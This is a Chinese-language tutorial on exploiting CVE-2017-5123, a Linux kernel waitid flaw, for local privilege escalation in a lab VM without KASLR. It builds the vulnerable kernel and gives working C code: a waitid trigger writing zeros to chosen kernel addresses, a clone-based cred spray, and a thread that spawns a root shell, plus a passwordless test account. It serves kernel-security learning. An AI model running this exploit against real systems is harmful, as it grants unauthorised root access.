PoC CVE-2017-5123 - LPE - 绕过 SMEP/SMAP。无 KASLR
上游内核中的 waitid 实现未限制复制信息结果的目标位置。这可能允许本地用户写入原本受保护的内核内存,从而导致权限提升。
在这篇小文章中,我将分析一个允许我们获取 root 权限的内核漏洞。
本文分为四个部分:
我想指出,有许多更好的方法来利用此 CVE(实际上,这只是一个用于学习内核的 PoC,不能用于 实际攻击),但我认为这种方法可以作为内核漏洞利用的入门。
此漏洞是在 4c48abe91be0 中引入的,因此我们需要编译该版本的内核。
这可能有点棘手,因为这是一个旧版本,代码可能需要补丁。
我创建了一个仓库,其中包含已打补丁的内核代码和一个 .config 文件,你可以 克隆并编译。
git clone https://github.com/c3r34lk1ll3r/kernel_mirror.git
cd kernel_mirror
git checkout origin/modified_v4.14
wget https://gist.githubusercontent.com/c3r34lk1ll3r/c9c34ae86140cc7a24d0d90141686ee8/raw/52431b577a71e3fe8f89d6ce355ce9c1c54c53b6/.config
make -j 8 --output-sync=recurse
注意,此内核将使用 virtio 驱动编译,因此你可以使用 virtio 磁盘 在宿主机和虚拟机之间共享文件。
现在,我们将创建初始 rootfs:
qemu-img create -f raw hda.raw 10G
# 格式化磁盘为 ext4
mkfs.ext4 ./hda.raw
# 为镜像创建挂载点
mkdir /tmp/mount1
# 挂载磁盘
sudo mount -o loop ./hda.raw /tmp/mount1
然后,我们需要安装一个基本的 Linux 发行版,例如使用 pacstrap 或 debootstrap。
sudo pacstrap /tmp/mount1 base base-devel vim
最后,我们可以修改系统:
# 添加一个 'test' 用户
echo 'test:x:1000:1000::/home/test:/bin/bash' | sudo tee -a /tmp/mount1/etc/passwd
# 无密码
echo 'test::14871::::::' | sudo tee -a /tmp/mount1/etc/shadow
# 我们可以挂载 virtio 磁盘,以便在宿主机和客户机之间共享文件
echo '/transient /home/test/shared 9p trans=virtio,version=9p2000.L,rw,user,exec 0 0' | sudo tee -a /tmp/mount1/etc/fstab
sudo mkdir -p /tmp/mount1/home/test/shared
# 拥有 sudo 权限很有用
echo '%wheel ALL=(ALL) NOPASSWD: ALL' | sudo tee -a /tmp/mount1/etc/sudoers
echo 'wheel:x:998:test' | sudo tee -a /tmp/mount1/etc/group
sudo chown -R 1000:1000 /tmp/mount1/home/test
sudo umount /tmp/mount1
如果一切正常,我们现在可以用 qemu 启动我们的测试系统:
qemu-system-x86_64 \
-kernel ./kernel_mirror/arch/x86_64/boot/bzImage \
-hda ./hda.raw \
-m 4G \
-cpu "Skylake-Client-IBRS,ss=on,vmx=on,hypervisor=on,tsc-adjust=on,clflushopt=on,umip=on,md-clear=on,stibp=on,arch-capabilities=on,ssbd=on,xsaves=on,pdpe1gb=on,ibpb=on,amd-ssbd=on,skip-l1dfl-vmentry=on,hle=off,rtm=off" \
-smp 4 \
-vga virtio \
-enable-kvm \
-nographic \
-machine type=q35,accel=kvm \
-virtfs "fsdriver=local,id=fs.1,path=./trans_fs,security_model=mapped,writeout=immediate,mount_tag=/transient" \
-append "root=/dev/sda rw noquiet nokaslr console=ttyS0 loglevel=5" \
-chardev "vc,id=vc.0,cols=1920,rows=1080" \
-net "user,hostfwd=tcp::10022-:22" \
-net "nic" \
-s
CVE 的描述指出,在 waitid 系统调用期间存在不受限制的写入操作。
让我们打开 kernel/exit.c 并查看代码:
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
infop, int, options, struct rusage __user *, ru)
{
struct rusage r;
struct waitid_info info = {.status = 0};
long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
int signo = 0;
if (err > 0) {
signo = SIGCHLD;
err = 0;
if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
return -EFAULT;
}
if (!infop)
return err;
user_access_begin();
unsafe_put_user(signo, &infop->si_signo, Efault);
unsafe_put_user(0, &infop->si_errno, Efault);
unsafe_put_user(info.cause, &infop->si_code, Efault);
unsafe_put_user(info.pid, &infop->si_pid, Efault);
unsafe_put_user(info.uid, &infop->si_uid, Efault);
unsafe_put_user(info.status, &infop->si_status, Efault);
user_access_end();
return err;
Efault:
user_access_end();
return -EFAULT;
}
这个函数相当直接:经过几次检查后,多次调用 unsafe_put_user(...),然后函数返回。
该函数的主要部分由 unsafe_put_user(...) 函数组成,所以我们来看一下(arch/x86/include/asm/uaccess.h):
/*
* The "unsafe" user accesses aren't really "unsafe", but the naming
* is a big fat warning: you have to not only do the access_ok()
* checking before using them, but you have to surround them with the
* user_access_begin/end() pair.
*/
#define user_access_begin() __uaccess_begin()
#define user_access_end() __uaccess_end()
#define unsafe_put_user(x, ptr, err_label) \
do { \
int __pu_err; \
__typeof__(*(ptr)) __pu_val = (x); \
__put_user_size(__pu_val, (ptr), sizeof(*(ptr)), __pu_err, -EFAULT); \
if (unlikely(__pu_err)) goto err_label; \
} while (0)
#define unsafe_get_user(x, ptr, err_label) \
do { \
int __gu_err; \
__inttype(*(ptr)) __gu_val; \
__get_user_size(__gu_val, (ptr), sizeof(*(ptr)), __gu_err, -EFAULT); \
(x) = (__force __typeof__(*(ptr)))__gu_val; \
if (unlikely(__gu_err)) goto err_label; \
} while (0)
注释中有一个 非常重要的警告:如果你想使用 unsafe_put/get_user,你应该先调用 access_ok(),并用 user_access_begin/end() 将它们包围起来。
如果我们看看前面的代码(waitid),会发现 access_ok() 从未被调用,因此系统调用 违反了 此 警告。
但这些宏是什么呢?
SMAP 和 SMEP 是内核引入的两个安全特性,旨在增加编写漏洞利用的难度。需要注意的是,这些特性由 CPU 强制执行。
SMEP 防止在 CPU 处于超级用户模式时 执行 用户空间代码;而 SMAP 则阻止对用户内存的 读/写 访问。
内核需要向用户内存写入/读取数据,这可以通过两种方式完成:
copy_from_user 等函数将内存复制到内核空间;正如我们在 unsafe_put_user 的定义中看到的,该函数只会将 x 的值复制到 ptr 指向的内存(如果出错则跳转到 err_label)。我们刚刚提到内核无法访问用户空间,因为 SMAP,这就是为什么这些函数应该被包裹在 user_access_begin/end() 之间。
#define __uaccess_begin() stac()
#define __uaccess_end() clac()
我们可以看到,user_access_begin/end 实际上就是 ASM 指令 stac 和 clac。
stac:“设置 EFLAGS 寄存器中的 AC 标志位。这可能会启用用户模式数据访问的对齐检查。即使 CR4 寄存器中设置了 SMAP 位,这也允许显式的超级用户模式数据访问到用户模式页面。”clac:“清除 EFLAGS 寄存器中的 AC 标志位。这会禁用任何用户模式数据访问的对齐检查。如果 CR4 寄存器中设置了 SMAP 位,这会禁止显式的超级用户模式数据访问到用户模式页面。”基本上,这两个宏用于启用/禁用 SMAP。
我们之前的“警告”还提到了 access_ok 函数:
/**
* access_ok: - 检查用户空间指针是否有效
* @type: 访问类型:%VERIFY_READ 或 %VERIFY_WRITE。注意
* %VERIFY_WRITE 是 %VERIFY_READ 的超集——如果可以安全
* 地写入一个块,那么从中读取也总是安全的。
* @addr: 要检查的块开始的用户空间指针
* @size: 要检查的块的大小
*
* 上下文:仅用户上下文。如果启用了页面错误,此函数可能会休眠。
*
* 检查用户空间中指向内存块的指针是否有效。
*
* 如果内存块可能有效,则返回 true(非零),如果确定无效,则返回 false(零)。
*
* 注意,根据架构,此函数可能仅检查指针是否在用户空间范围内——调用此函数后,
* 内存访问函数仍可能返回 -EFAULT。
*/
#define access_ok(type, addr, size) \
({ \
WARN_ON_IN_IRQ(); \
likely(!__range_not_ok(addr, size, user_addr_max())); \
})
这里的注释不言而喻:此宏检查指针是否是有效的 用户空间指针。
让我们再看看 waitid 的代码:
user_access_begin();
unsafe_put_user(signo, &infop->si_signo, Efault);
unsafe_put_user(0, &infop->si_errno, Efault);
unsafe_put_user(info.cause, &infop->si_code, Efault);
unsafe_put_user(info.pid, &infop->si_pid, Efault);
unsafe_put_user(info.uid, &infop->si_uid, Efault);
unsafe_put_user(info.status, &infop->si_status, Efault);
user_access_end();
正如你已猜到的,缺少 access_ok() 导致可以 在内存中任意写入,因为 infop 指针完全由攻击者控制。
很容易到达易受攻击的路径,我们可以用下面的简单代码创建一个 触发器:
int thread_ready;
int die_thread(void *arg){
thread_ready=1;
syscall(__NR_sched_yield);
return 0;
}
void *stack;
int trigger_bug(uint64_t where, int what){
printf("[0] Trying to overwrite 0x%016lx\r", where);
//int pid = fork(); // 也可以使用 fork 系统调用
thread_ready = 0;
int pid = clone(die_thread, stack, CLONE_VM | CLONE_FS|CLONE_FILES|CLONE_SYSVSEM | SIGCHLD, NULL);
int err;
while(thread_ready == 0) {syscall(__NR_sched_yield);} // 我们需要等待线程
err = syscall(__NR_waitid, P_PID, pid, where, WEXITED, NULL);
return err;
}
这段简单的代码将触发漏洞,并向 where 地址指向的内存写入数据。
如果需要,我们可以使用 gdb 检查这个触发器。例如,我们可以选择一个 任意 地址,并使用 trigger_bug 函数覆盖它。
此漏洞有多种利用方式,但我更喜欢一种非常简单的方法。
请记住,我们可以写入我们想要的任何位置,但写入的数据是部分受控的。我们可以用 0 覆盖一个地址。
基本思想是覆盖我们进程的 UID 并成为 root,但我们首先需要了解 Linux 中的凭据是什么。
我们从研究 fork 系统调用开始。该函数用于创建新进程。
我们可以查看 kernel/fork.c 中的代码:
SYSCALL_DEFINE0(fork)
{
return _do_fork(SIGCHLD, 0, 0, NULL, NULL, 0);
}
因此,fork 系统调用仅仅是带有 硬编码 参数的 _do_fork 的包装器。
最后一个函数有点长,但我们可以这样总结:
long _do_fork(unsigned long clone_flags,
unsigned long stack_start,
unsigned long stack_size,
int __user *parent_tidptr,
int __user *child_tidptr,
unsigned long tls)
{
struct task_struct *p;
int trace = 0;
long nr;
......
// 这将创建另一个 task_struct,但不会启动进程。
p = copy_process(clone_flags, stack_start, stack_size,
child_tidptr, NULL, trace, tls, NUMA_NO_NODE);
add_latent_entropy();
......
// 唤醒新创建的任务。这将把任务状态设置为 RUNNING 并放入运行队列
wake_up_new_task(p);
......
put_pid(pid);
} else {
nr = PTR_ERR(p);
}
return nr;
}
此函数将分配一个新的 task_struct 对象。虽然这个结构非常重要(它描述了一个进程),但我们将重点关注 cred 字段:
...
/* 进程凭据: */
/* 附加时的跟踪器凭据: */
const struct cred __rcu *ptracer_cred;
/* 主观任务凭据(COW): */
const struct cred __rcu *real_cred;
/* 有效(可覆盖)主观任务凭据(COW): */
const struct cred __rcu *cred;
...
如我们所见,有一个(三个)指向 struct cred 的指针。让我们看看这个结构的组成(include/linux/cred.h):
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* 订阅的进程数 */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* 任务的真实 UID */
kgid_t gid; /* 任务的真实 GID */
kuid_t suid; /* 任务的保存 UID */
kgid_t sgid; /* 任务的保存 GID */
kuid_t euid; /* 任务的有效 UID */
kgid_t egid; /* 任务的有效 GID */
kuid_t fsuid; /* VFS 操作的 UID */
kgid_t fsgid; /* VFS 操作的 GID */
......
如我们所见,进程的 UID 只是一个 无符号整数(参见 kuid_t 的定义),因此我们可以简单地将此值覆盖为 0 以获得 root 权限。
task_struct 结构在 copy_process 函数中分配,该函数有点复杂,其主要目标是将进程“复制”成一个新的进程。
我们可以关注 copy_creds(p, clone_flags),它定义为:
/*
* 为由 fork() 创建的新进程复制凭据
*
* 如果可能,我们共享,但在某些情况下我们必须生成新的集合。
*
* 新进程将当前进程的主观凭据作为其客观和主观凭据
*/
int copy_creds(struct task_struct *p, unsigned long clone_flags)
{
struct cred *new;
int ret;
if (
#ifdef CONFIG_KEYS
!p->cred->thread_keyring &&
#endif
clone_flags & CLONE_THREAD
) {
p->real_cred = get_cred(p->cred);
get_cred(p->cred);
alter_cred_subscribers(p->cred, 2);
kdebug("share_creds(%p{%d,%d})",
p->cred, atomic_read(&p->cred->usage),
read_cred_subscribers(p->cred));
atomic_inc(&p->cred->user->processes);
return 0;
}
new = prepare_creds();
if (!new)
return -ENOMEM;
if (clone_flags & CLONE_NEWUSER) {
ret = create_user_ns(new);
if (ret < 0)
goto error_put;
}
.........
error_put:
put_cred(new);
return ret;
}
正如我们所看到的,此函数调用 prepare_creds,其中执行了真正的分配。
我们现在有了一条路径来分配(伪)任意数量的 struct cred:
_do_fork()copy_process()copy_creds()我们最后的问题是如何从用户空间调用 _do_fork()。我们可以使用 fork,但这可能很慢,所以我们将改用 clone。
注意:我们不能使用 pthread,因为标志问题:如果你查看 copy_creds 的代码,你会注意到有一条路径没有真正分配结构。
现在,一个小总结:
0 写入内存0,它将获得 root 权限。现在我们需要知道在内存中 哪里 写入,虽然 KASLR 被禁用,但单个 struct cred 的地址不够稳定,所以我决定使用 内存喷洒。
我们需要在内存中找到 struct cred,以便检测一个地址范围。我们可以使用 gdb 和 python 以及像这个这样的脚本:
....
for task in task_lists():
#gdb.write("{address} {pid} {comm}\n".format(
# address=task,
# pid=task["pid"],
# comm=task["comm"].string()))
comm = task["comm"].string()
# 插入你的可执行文件名
if comm == "exploit":
print(task['cred'])
....
注意:此脚本仅在 KASLR 禁用且有调试符号(我们需要 init_task 指针)时有效。
我们可以尝试几次,看到堆是向下增长的,所以我们可以尝试一个较低的地址,然后向高地址移动。
现在我们可以使用 clone 系统调用来生成大量进程,借助 gdb 我们可以检查地址:
stack=malloc(STACK_SIZE)+STACK_SIZE;
for(x=0;x<MAX_THREADS;x++){
stackTop = malloc(STACK_SIZE) + STACK_SIZE;
if (!stackTop){
perror("[-] Malloc");
return -1;
}
// spray_thread 函数可以简单地是一个无限循环
pid = clone(spray_thread, stackTop, CLONE_VM | CLONE_FS|CLONE_FILES|CLONE_SYSVSEM | SIGCHLD, NULL);
if (pid == -1){
perror("\n\nCLONE");
return -1;
}
printf("[0] Process created: %d\r", x);
}
注意:你可能无法生成超过 4k 个进程。如果是这种情况,请检查 ulimits。
最后,我们可以编写我们的 PoC。
只需使用不同的地址(搜索结构)调用 trigger_bug,同时我们生成的线程检查其 UID,如下所示:
struct shared_area{
int one_win;
};
struct shared_area glob_var;
// 喷洒的线程
int spray_thread(void *arg){
int uid;
int previous_one = syscall(__NR_getuid);
// 循环调用 getUID
while(1){
uid = syscall(__NR_getuid);
//printf("UID: %d\n",uid);
// 如果返回的 UID 与之前不同,则我们命中了一个 struct cred 区域
if (uid != previous_one){
printf("WIN!! with %d", uid);
// 杀死其他线程以稳定系统
glob_var.one_win = 1;
// 简单地生成一个 shell
system("/bin/sh");
}
if(glob_var.one_win == 1)
return 1;
}
return 0;
}
命中结构的概率为 50%,因此运行几次后你可以获得 root 权限。

这是一个(基础的)PoC,喷洒远非完美。这仅仅是对迷人内核世界的“入门”,我跳过了很多概念,但它们非常重要(如内存管理)。如果你想更深入地学习,可以查看 prepare_creds 和内存分配。
KASLR 被禁用,但此漏洞同样允许绕过此缓解措施(unsafe_put_user 不会因无效地址而崩溃),但我认为如果你的目标是学习内核,添加一个新的“暴力枚举层”并没有用。如果你的目标是在 实际攻击 中使用此漏洞,你应该编写不同的漏洞利用(至少,不同的喷洒)。
思考:我使用此漏洞来理解和尝试 ret2dir 技术(提示:你可以在别名地址触发写入,并通过用户空间地址读取修改)。